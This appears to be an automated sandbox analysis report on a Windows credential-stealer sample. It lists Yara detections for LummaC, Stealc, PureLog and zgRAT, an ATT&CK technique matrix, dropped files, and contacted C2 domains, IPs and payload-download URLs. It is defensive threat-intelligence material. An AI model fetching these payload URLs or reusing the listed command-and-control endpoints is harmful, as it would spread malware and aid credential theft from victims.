Source: Yara match	File source: 00000000.00000003.2256312465.0000000001637000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8WRONDszv4.exe PID: 2320, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 8WRONDszv4.exe PID: 2320, type: MEMORYSTR
Source: Yara match	File source: 12.2.2d537c36c0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.2d537c36c0.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.2d537c36c0.exe.455cf38.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.3303991604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3266454164.000000000444A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 99468ec718.exe PID: 4232, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 10.2.2d537c36c0.exe.42339b8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.2d537c36c0.exe.426b8f0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.2d537c36c0.exe.426b8f0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.2d537c36c0.exe.c20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2512124183.0000000000921000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2514093673.000000000159E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 62G762VR710L4VXE3U82EH4WFUFY.exe PID: 2976, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected zgRAT

Source: Yara match

File source: 10.2.2d537c36c0.exe.42339b8.3.raw.unpack, type: UNPACKEDPE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00ECEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		8_2_00ECEC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00ECDF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		8_2_00ECDF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	12 Process Injection	111 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	11 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Registry Run Keys / Startup Folder	23 Software Packing	NTDS	235 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	961 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	461 Virtualization/Sandbox Evasion	Proc Filesystem	461 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
8WRONDszv4.exe	54%	Virustotal		Browse
8WRONDszv4.exe	58%	ReversingLabs	Win32.Trojan.Symmi
8WRONDszv4.exe	100%	Avira	TR/Crypt.XPACK.Gen
8WRONDszv4.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	83%	ReversingLabs	ByteCode-MSIL.Spyware.Lummastealer
C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	83%	ReversingLabs	ByteCode-MSIL.Spyware.Lummastealer

Source	Detection	Scanner	Label
http://specs.openid.net/extensions/ui/1.0/mode/popup	0%	Avira URL Cloud	safe
https://mindhandru.buzz/((4	100%	Avira URL Cloud	malware
http://31.41.244.11/files/kardanvalov88/random.exehqos.dllU	0%	Avira URL Cloud	safe
https://mindhandru.buzz/V1a	100%	Avira URL Cloud	malware
http://specs.openid.net/extensions/ui/1.0ghttp://specs.openid.net/extensions/ui/1.0/lang-pref	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exepe	0%	Avira URL Cloud	safe
https://mindhandru.buzz/j	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php	100%	Avira URL Cloud	malware
https://mindhandru.buzz:443/apin.txtPK	100%	Avira URL Cloud	malware
http://specs.openid.net/extensions/pape/1.0	0%	Avira URL Cloud	safe
https://mindhandru.buzz/ITE	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apider-	100%	Avira URL Cloud	malware
https://mindhandru.buzz/.$C	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exe0U	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exe7t	0%	Avira URL Cloud	safe
http://185.215.113.16/mine/random.exev	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe$	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exe1395d7	0%	Avira URL Cloud	safe
http://185.215.113.16/a	0%	Avira URL Cloud	safe
https://mindhandru.buzz/api&	100%	Avira URL Cloud	malware
https://rapeflowwj.lat/	100%	Avira URL Cloud	malware
https://mindhandru.buzz/ile	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/ra	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exe61395dd	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exed	0%	Avira URL Cloud	safe
https://mindhandru.buzz/pih	100%	Avira URL Cloud	malware
http://axschema.org/3http://schema.openid.net/3http://openid.net/schema/	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exe24080001	0%	Avira URL Cloud	safe
https://rapeflowwj.lat/api	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeT	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exe4080001	0%	Avira URL Cloud	safe
https://mindhandru.buzz:443/apical	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	23.55.153.106	true	false	high
mindhandru.buzz	104.21.11.101	true	false	high
sustainskelet.lat	unknown	unknown	false	high
crosshuaht.lat	unknown	unknown	false	high
rapeflowwj.lat	unknown	unknown	false	high
grannyejh.lat	unknown	unknown	false	high
aspecteirs.lat	unknown	unknown	false	high
discokeyus.lat	unknown	unknown	false	high
energyaffai.lat	unknown	unknown	false	high
necklacebudi.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	false		high
aspecteirs.lat	false		high
http://185.215.113.43/Zu7JuNko/index.php	true	Avira URL Cloud: malware	unknown
sustainskelet.lat	false		high
rapeflowwj.lat	false		high
https://mindhandru.buzz/api	false		high
energyaffai.lat	false		high
grannyejh.lat	false		high
necklacebudi.lat	false		high
crosshuaht.lat	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	8WRONDszv4.exe, 00000000.00000003.2186052469.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185936915.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185859545.0000000005E4E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/kardanvalov88/random.exehqos.dllU	skotes.exe, 00000008.00000002.3385482616.000000000092B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	8WRONDszv4.exe, 00000000.00000003.2186052469.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185936915.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185859545.0000000005E4E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://specs.openid.net/extensions/ui/1.0/mode/popup	2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	false	Avira URL Cloud: safe	unknown
https://mindhandru.buzz/V1a	8WRONDszv4.exe, 00000000.00000003.2296102453.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://openid.net/xmlns/1.09http://openid.net/signon/1.0	2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	false		high
http://axschema.org/company/nameBhttp://axschema.org/company/title:http://axschema.org/birthDateNhtt	2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	false		high
http://185.215.113.206/ws	62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.00000000015F9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.openid.net/pape/policies/2007/06/multi-factor-physical	2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	false		high
http://185.215.113.16/steam/random.exepe	skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://csrc.nist.gov/publications/nistpubs/800-63/SP800-63V1_0_2.pdf	2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	false		high
https://mindhandru.buzz/((4	8WRONDszv4.exe, 00000000.00000003.2208452015.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://specs.openid.net/auth/2.0$dnoa.request_nonce	2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	false		high
http://specs.openid.net/extensions/ui/1.0ghttp://specs.openid.net/extensions/ui/1.0/lang-pref	2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	false	Avira URL Cloud: safe	unknown
http://specs.openid.net/extensions/pape/1.0	2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/privatepersonalidentifier	2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	false		high
https://steamcommunity.com/iOkN.	2d537c36c0.exe, 0000000C.00000002.3304675869.0000000000EB1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://openid.net/extensions/sreg/1.14http://openid.net/sreg/1.04http://openid.net/sreg/1.1	2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	false		high
https://steamcommunity.com/profiles/76561199724331900	2d537c36c0.exe, 0000000C.00000002.3304675869.0000000000EC8000.00000004.00000020.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000C.00000002.3304675869.0000000000EB1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	8WRONDszv4.exe, 00000000.00000003.2232016198.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com:443/profiles/76561199724331900	2d537c36c0.exe, 0000000C.00000002.3304675869.0000000000EC8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	8WRONDszv4.exe, 00000000.00000003.2186052469.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185936915.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185859545.0000000005E4E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/j	8WRONDszv4.exe, 00000000.00000003.2254309843.0000000005E08000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2254503645.0000000005E08000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	8WRONDszv4.exe, 00000000.00000003.2230748474.0000000005E39000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz:443/apin.txtPK	8WRONDszv4.exe, 00000000.00000003.2277430232.0000000001613000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2296102453.0000000001613000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2256312465.0000000001613000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	8WRONDszv4.exe, 00000000.00000003.2230748474.0000000005E39000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/ITE	8WRONDszv4.exe, 00000000.00000003.2443743991.000000000167F000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2296102453.0000000001637000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	8WRONDszv4.exe, 00000000.00000003.2186052469.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185936915.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185859545.0000000005E4E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php1	62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.0000000001606000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	8WRONDszv4.exe, 00000000.00000003.2231750951.0000000005F25000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/apider-	8WRONDszv4.exe, 00000000.00000003.2230278018.0000000005E0C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/d	8WRONDszv4.exe, 00000000.00000003.2277383382.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2278450128.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900)N	2d537c36c0.exe, 0000000C.00000002.3304675869.0000000000EB1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/.$C	8WRONDszv4.exe, 00000000.00000003.2444158916.000000000164C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://openid.net/srv/ax/1.0	2d537c36c0.exe.8.dr	false		high
http://axschema.org/contact/postalCode/businessDhttp://axschema.org/contact/IM/AIMDhttp://axschema.o	2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	false		high
http://crl.micro	8WRONDszv4.exe, 00000000.00000003.2256390573.0000000001637000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2278542191.000000000164C000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2256604206.000000000164C000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2184636830.0000000001637000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2296102453.0000000001637000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2277607151.000000000164C000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2184773085.000000000164C000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2277430232.0000000001637000.00000004.00000020.00020000.00000000.sdmp	false		high
http://openid.net/sreg/1.05http://openid.net/sreg/1.1	2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	false		high
http://185.215.113.16/steam/random.exe0U	skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpE	62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.0000000001604000.00000004.00000020.00020000.00000000.sdmp	false		high
http://specs.openid.net/extensions/oauth/1.0	2d537c36c0.exe.8.dr	false		high
http://axschema.org/contact/postalAddress/homephttp://axschema.org/contact/postalAddressAdditional/h	2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpO	62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.0000000001606000.00000004.00000020.00020000.00000000.sdmp	false		high
http://openid.net/signon/1.1	2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	false		high
http://185.215.113.16/steam/random.exe7t	skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpM	62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.0000000001606000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/mine/random.exev	8WRONDszv4.exe, 00000000.00000003.2443743991.0000000001694000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	8WRONDszv4.exe, 00000000.00000003.2232016198.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exe$	skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/steam/random.exe1395d7	skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpU	skotes.exe, 00000008.00000002.3385482616.0000000000968000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/a	8WRONDszv4.exe, 00000000.00000003.2443743991.0000000001694000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mindhandru.buzz/api&	8WRONDszv4.exe, 00000000.00000003.2184636830.0000000001637000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://axschema.org/person/genderFhttp://axschema.org/media/biographyBhttp://axschema.org/pref/langu	2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	false		high
https://rapeflowwj.lat/	2d537c36c0.exe, 0000000C.00000002.3304675869.0000000000EB1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpe	62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.0000000001606000.00000004.00000020.00020000.00000000.sdmp	false		high
http://axschema.org/namePersonJhttp://axschema.org/namePerson/prefixHhttp://axschema.org/namePerson/	2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	false		high
https://mindhandru.buzz/ile	8WRONDszv4.exe, 00000000.00000003.2443743991.000000000167F000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2296102453.0000000001637000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/mine/random.exe	8WRONDszv4.exe, 00000000.00000003.2443743991.0000000001694000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.idmanagement.gov/schema/2009/05/icam/openid-trust-level1.pdfthttp://www.idmanagement.gov/	2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	8WRONDszv4.exe, 00000000.00000003.2186052469.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185936915.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185859545.0000000005E4E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exen	8WRONDszv4.exe, 00000000.00000003.2443743991.0000000001694000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/pi	8WRONDszv4.exe, 00000000.00000003.2277383382.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2184636830.0000000001637000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2184773085.000000000164C000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2278450128.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, 99468ec718.exe, 0000000D.00000002.3387558023.00000000013BA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	8WRONDszv4.exe, 00000000.00000003.2232016198.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exe	skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/ra	skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mindhandru.buzz:443/api	8WRONDszv4.exe, 00000000.00000003.2184636830.0000000001613000.00000004.00000020.00020000.00000000.sdmp, 99468ec718.exe, 0000000D.00000002.3387558023.00000000013BA000.00000004.00000020.00020000.00000000.sdmp	false		high
